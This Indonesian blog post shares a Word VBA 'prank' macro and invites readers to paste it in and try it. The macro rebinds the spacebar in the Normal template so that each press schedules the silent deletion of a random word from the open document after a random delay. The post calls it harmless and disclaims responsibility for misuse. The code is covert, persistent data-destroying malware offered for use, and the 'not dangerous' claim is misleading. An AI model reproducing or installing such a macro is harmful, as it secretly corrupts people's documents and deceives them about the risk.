Setelah kemarin saya share mengenai si Ms Word yang edan, nah sekarang saya share yang versi ke dua...
Bagi yang belum baca yang versi pertama, bisa dibaca di sini (klik untuk membaca)




Oke, langsung saja....
Langkahnya sama seperti di versi yang pertama.....
Lalu copas script di bawah ini

Sub AddKeyBinding()

With Application
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeySpacebar), KeyCategory:=wdKeyCategoryCommand, _
Command:="Timer"
End With

End Sub

Public Sub Timer()
Dim x As Document
Set x = ActiveDocument
Dim z() As String
Selection.TypeText Text:=" "
counter = CStr(Int((10 - 1 + 1) * Rnd + 1))
Application.OnTime When:=Now + TimeValue("00:00:" + counter), _
Name:="removeit"

End Sub

Sub removeit()
Dim x As Document
Set x = ActiveDocument

counter = CStr(Int((x.Words.Count - 1 + 1) * Rnd + 1))
x.Words(counter).Delete

End Sub

*untuk apa yang akan terjadi, silahkan dicoba sendiri saja
 gak bahaya kok
:)

Dan sekali lagi saya tekankan dan saya pertegas
Segala resiko dari penyalahgunaan materi ini adalah tanggung jawab anda sendiri...
Dan tolonglah bijak dalam menggunakan ilmu anda...
:)